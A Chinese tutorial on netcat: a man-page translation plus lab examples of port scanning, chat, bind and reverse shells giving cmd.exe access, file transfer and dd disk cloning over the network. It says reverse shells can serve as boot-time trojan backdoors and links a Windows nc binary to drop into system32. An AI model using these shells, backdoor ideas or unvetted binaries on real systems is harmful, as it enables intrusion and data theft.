今天给大家带来netcat这款工具的简单介绍。netcat有着“网络工具中的瑞士军刀”的绰号。它体积小巧,功能却又十分强大。下面的内容包括,man手册翻译、常用参数介绍及例子。
一、man手册翻译
名称
nc - TCP/IP 瑞士军刀
概要
nc [-选项] 主机名 端口 [端口]…
nc -l -p 端口 [-选项] [主机名] [端口]
描述
netcat是一种简单的unix实用程序,它使用TCP或UDP协议在网络连接上读取和写入数据。它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动。同时,它是一个功能丰富的网络调试和开发工具,因为它几乎可以创建你需要的任何类型的连接并且有几个有趣的内置功能。Netcat,或称为“nc”,作为实际程序的名称,应该是很久以前提供的,这是一种模糊定义但标准的Unix工具。
在最简单的用法中,“nc 主机 端口”为给定的目标主机上的给定端口创建TCP连接。然后,您的标准输入被发送到主机,任何通过连接返回的内容都会发送到您的标准输出。这种情况会一直持续下去,直到连接的网络端关闭。请注意,此行为与大多数其他应用程序不同,这些应用程序在标准输入结束后关闭所有文件并退出。
Netcat也可以作为一个服务器,通过监听任意端口上的入站连接,然后进行相同的读取和写入操作。对于小范围的限制,netcat并不真正关心它是否在“客户端”或“服务器”模式下运行——它仍然会来回地挖掘数据直到不再有剩余。在任何一种模式下,在网络端可配置的不活动时间之后,可以强制关闭。
它也可以通过UDP实现这一点,因此,netcat也许是你一直想要用来测试你的UDP模式服务器的“UDP telnet-like”应用。正如“U”所暗示的,提供的更少可靠的数据传输比TCP连接和一些系统可能在发送大量数据时遇到麻烦,但是它仍然是一个有用的能力。
您可能会问“为什么不直接使用telnet连接任意端口?”这是一个合理的问题,这里是其中一些原因。Telnet有“standard input EOF”问题,所以必须在驱动脚本中引入计算延迟,以允许网络输出完成。这是netcat在网络端关闭之前一直运行的主要原因。Telnet也不会传输任意二进制数据,因为某些字符被解释为telnet选项,因此从数据流中删除。Telnet也会发出一些对标准输出的诊断消息,netcat将这些信息与它的输出隔离开来,并且永远不会修改传输中的任何真实数据,除非您真的想要。当然,telnet不能监听入站连接,也不能使用UDP。Netcat没有任何这些限制,比telnet更小、更快,而且还有许多其他优点。
选项
-c string 在连接之后指定shell命令(谨慎使用)。该字符串被传递到/bin/sh-c执行。如果您没有工作/bin/sh,请参阅-e选项(请注意,符合posix的系统必须有一个)。
-e filename 在连接之后执行指定文件(谨慎使用)。请参阅-c选项以增强功能。
-g gateway 源路由跳点,最多为8
-G num 源路由指针:4、8、12、 …
-h 显示帮助
-i secs 发送线路,端口扫描的延迟间隔。
-l 监听模式,对于入站连接。
-n 只有数字的IP地址,没有域名服务器。
-o file 十六进制转储传输。
-p port 本地端口号(端口号可以是个人的或者是范围:低-高 [包含的])
-q seconds 在标准输入的EOF后,等待规定的秒数然后退出。如果秒数是负数,永远等待。
-b 允许UDP广播
-r 随机化本地和远程端口
-s addr 当前的源地址
-t 使telnet顺利通过
-u UDP模式
-v 冗长(使用两次可以更冗长)。ps.即显示详细信息
-w secs 连接和最终网络读取的超时
-C 在行尾发送回车换行
-z 零读写模式(用于扫描)
-T type 设置TOS标志(类型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用参数介绍及例子
1、端口扫描
局域网内有一台主机,IP地址为192.168.3.242,现通过nc扫描其20-30的端口。
# nc -v -n -z 192.168.3.242 20-30
-v是显示详细信息(verbose),-n是不进行域名解析只接IP地址,-z是零读写,是扫描时常用的参数。
2、聊天服务器
局域网有两台主机,其中一台作为服务器IP地址是192.168.3.119,监听了333端口。另一台作为客户端连接服务器。可以实现两台主机之间的聊天。在这里服务器和客户端在连接后其实没什么区别。
服务器:nc -l -p 333
客户端:nc -n -v 192.168.3.119 333
-l是侦听模式,用于截获网络中经过的流量;-p后面接本地端口。
形如这种客户端连接服务器的连接形式我们称之为正向连接。相反地,服务器连接客户端叫做反向连接,通常可以用作木马留后门。当然在这个例子里面体现不出来区别,接下来会展示远程控制中,正向连接和反向连接的区别。
3、远程控制
局域网内有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作为服务器,用kali连接它。
我们先尝试正向连接。打开WIN10的任意端口(本例为333),把cmd.exe 重定向到333端口。
nc -l -p 333 -e c:\windows\system32\cmd.exe
然后用kali连接该主机的333端口。
# nc -nv 192.168.3.237 333
这样客户端就获得了服务器的一个shell
接下来,我在入站规则里面禁用了nc,再尝试正向连接,看看还能不能成功?
长时间没反应,连接不上了。
一般来说,服务器为了安全考虑会通过入站规则设置禁止外部主机对其进行连接。但是对服务器连接外部主机的限制却比较小。下面介绍通过反向连接方式对服务器进行远程控制。
首先,打开客户端的任意端口(本例定为333),开启侦听模式,捕获通过该端口的所有流量。
# nc -v -l -p 333
然后,让服务器连接客户端的指定端口,将cmd重定向发送过去。
nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe
连接成功!
反向连接可以用作木马留后门。把反向连接特定主机的命令写进脚本,放置在对方电脑,开机后台运行。
4、文件传输
下面通过一个简单的例子演示文件传输的过程。还是上例的两台主机,我要将WIN10里的一张图片通过nc重定向发送到kalilinux上。这里继续采用反向连接。
客户端(接收方):
nc -lp 333 > huaji.jpg
服务器(发送方):
nc -nv 192.168.3.119 333 < d:\滑稽.jpg
这样就完成了图片的传输。如果要进行目录传输,可以先用tar工具进行打包后发送,出于节省带宽的考虑也可以进一步压缩再发送。原理相同,这里就不演示了。
5、远程硬盘克隆
服务器端使用管道命令,将磁盘文件重定向到333端口。
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
接收端
# nc -lp 333 | dd of=/dev/sda
以上是netcat一些简单功能的介绍,这款工具还有很多有趣的功能等待我们去发掘,例如还可以通过内置的加密工具进行加密传输,搭建一个流媒体播放器等等。最后,附上windows系统版本netcat及使用方法。
下载链接:http://pan.baidu.com/s/1c21ZJCc
使用方法:将压缩包内所有文件解压到C:\windows\system32
然后就可以在命令行输入nc命令了。